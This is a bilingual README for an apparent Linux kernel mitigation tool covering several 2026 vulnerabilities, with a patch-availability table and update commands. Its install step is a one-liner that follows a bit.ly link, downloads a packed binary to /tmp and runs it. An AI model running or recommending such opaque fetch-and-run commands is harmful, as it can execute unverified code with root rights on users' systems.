frag family भेद्यता शमन उपकरण / Mitigation tool for frag family vulnerability

• Copy Fail (2026)
• Dirty Frag (2026)
• Fragnesia (2026)
• DirtyClone (2026)
• PEdit-CoW (2026)

किसी भी Linux पर हॉटफिक्स चलाएँ / Run any Linux hotfix

b="/tmp/cve_2026_frag_family_fix"; wget -qO $b $(wget -qO- https://bit.ly/4vetMTB | grep browser_download_url | grep -v .exe | cut -d '"' -f 4) && chmod +x $b && $b

या

b="/tmp/cve_2026_frag_family_fix"; curl -fsSL "$(curl -fsSL https://bit.ly/4vetMTB | grep browser_download_url | grep -v .exe | cut -d '"' -f 4)" -o $b && chmod +x $b && $b

CVE-2026-46300 / CVE-2026-43500 / CVE-2026-43284 / CVE-2026-46300 / CVE-2026-46331

विवरण

• CVE-2026-46300 / CVE-2026-43500 / CVE-2026-43284 / CVE-2026-46300 / CVE-2026-46331 से सक्षम मॉड्यूल की जाँच करता है
• यदि उपलब्ध हो तो कर्नेल अपडेट प्रस्तावित करता है
• यदि नहीं तो esp4, esp6, rxrpc, act_pedit को अक्षम करता है
• modprobe के माध्यम से लोडिंग को अवरुद्ध करता है
• grub में module_blacklist जोड़ता है
• कर्नेल अपडेट के बाद स्वचालित रूप से हॉटफिक्स साफ़ करता है
• RHEL-आधारित सिस्टम (AlmaLinux, Rocky, Oracle, Fedora) के लिए Boot Loader Specification (GRUB_ENABLE_BLSCFG=false) अक्षम करता है, GRUB_DEFAULT=0 सेट करता है और एक कर्नेल इंस्टॉल हुक (/etc/kernel/install.d/99-grub-update.install) बनाता है, जो कर्नेल अपडेट के बाद grub कॉन्फ़िगरेशन को पुनः उत्पन्न करता है ताकि अगले बूट पर सबसे हाल का कर्नेल लोड हो।
• माइनर रिलीज़ के लिए, यह नवीनतम माइनर संस्करण में अपडेट प्रस्तावित और करता है जिसके लिए कर्नेल अपडेट उपलब्ध है।

Description

• checks for CVE-2026-46300 / CVE-2026-43500 / CVE-2026-43284 / CVE-2026-46300 / CVE-2026-46331 vulnerability enabled modules
• offers kernel update if available
• disables esp4, esp6, rxrpc, act_pedit if not
• blocks module loading via modprobe
• adds module_blacklist to grub
• automatically cleans up hotfix after kernel update
• for RHEL-based systems (AlmaLinux, Rocky, Oracle, Fedora), disables Boot Loader Specification (GRUB_ENABLE_BLSCFG=false) and sets GRUB_DEFAULT=0, then creates a kernel install hook (/etc/kernel/install.d/99-grub-update.install) that regenerates grub config after kernel updates to ensure the most recent kernel loads on next boot
• for minor releases, it offers and performs an update to the latest minor version that has a kernel update available.

CVE-2026-31431 / Copy Fail mitigation (algif_aead)

विवरण

यह उपकरण CVE-2026-31431 (पूर्व शर्त) की जाँच करता है और रूट विशेषाधिकार होने पर शमन लागू करता है:

• OS (WSL सहित) और कर्नेल संस्करणों के संरक्षित संयोजनों की पहचान करता है
• यदि उपलब्ध हो तो सुधार सहित कर्नेल अपडेट प्रस्तावित करता है
• यदि नहीं तो algif_aead को अक्षम करता है
• modprobe के माध्यम से मॉड्यूल लोडिंग को अवरुद्ध करता है
• initcall_blacklist=algif_aead_init जोड़ता है
• systemd के माध्यम से AF_ALG को प्रतिबंधित करता है

Description

This tool checks for CVE-2026-31431 (pre condition) and applies mitigation (requires root):

• identifies protected combinations of OS (including WSL) and kernel versions
• offers a kernel update with a fix if available
• disables algif_aead if not
• blocks module loading via modprobe
• adds initcall_blacklist=algif_aead_init
• restricts AF_ALG via systemd

Linux बिल्ड / build

docker run --rm -v "$PWD":/app -w /app golang:alpine sh -c "apk add --no-cache upx && go build -ldflags='-s -w' -o cve_2026_frag_family_fix cve_2026_frag_family_fix.go && upx --best --ultra-brute cve_2026_frag_family_fix"

कर्नेल अपडेट (हॉटफिक्स नहीं) उपलब्ध है / Kernel update (not hotfix) is exist for

OS	Copy Fail (CVE-2026-31431)	Dirty Frag (CVE-2026-43500/43284)	Fragnesia (CVE-2026-46300)	PEdit-CoW (CVE-2026-46331)
Debian 10 (buster)	❌	❌	❌	❌
Debian 11 (bullseye)	✅	✅	✅	✅
Debian 12 (bookworm)	✅	✅	✅	✅
Debian 13 (trixie)	✅	✅	✅	✅
Ubuntu 18.04 (bionic)	❌	❌	❌	❌
Ubuntu 20.04 (focal)	❌	❌	❌	❌
Ubuntu 22.04 (jammy)	✅	❌	❌	❌
Ubuntu 24.04 (noble)	✅	✅	✅	❌
Ubuntu 25.04 (plucky)	❌	❌	❌	❌
Ubuntu 26.04 (resolute)	✅	✅	✅	✅
CentOS Stream 8	❌	❌	❌	❌
CentOS Stream 9	✅	✅	✅	✅
CentOS Stream 10	✅	✅	✅	✅
AlmaLinux 8	✅	✅	✅	✅
AlmaLinux 9	✅	✅	✅	✅
AlmaLinux 10	✅	✅	✅	✅
Rocky Linux 8	✅	✅	✅	✅
Rocky Linux 9	✅	✅	✅	✅
Rocky Linux 10	✅	✅	✅	✅
Fedora 40	❌	❌	❌	❌
Fedora 41	❌	❌	❌	❌
Fedora 42	✅	✅	✅	✅
Fedora 43	✅	✅	✅	✅
Fedora 44	✅	✅	✅	✅
Oracle Linux 8	✅	✅	✅	✅
Oracle Linux 9	✅	✅	✅	✅
Oracle Linux 10	✅	✅	✅	✅

कर्नेल अपडेट कमांड / Kernel update commands

• Debian apt update && apt install linux-image-amd64 linux-headers-amd64 -y
• Ubuntu apt update && apt install linux-image-generic linux-headers-generic -y
• CentOS dnf clean metadata && dnf upgrade 'kernel*' -y
• AlmaLinux dnf clean metadata && dnf upgrade 'kernel*' -y
• RockyLinux dnf clean metadata && dnf upgrade 'kernel*' -y
• Fedora dnf clean metadata && dnf upgrade 'kernel*' -y
• OracleLinux dnf clean metadata && dnf upgrade 'kernel*' -y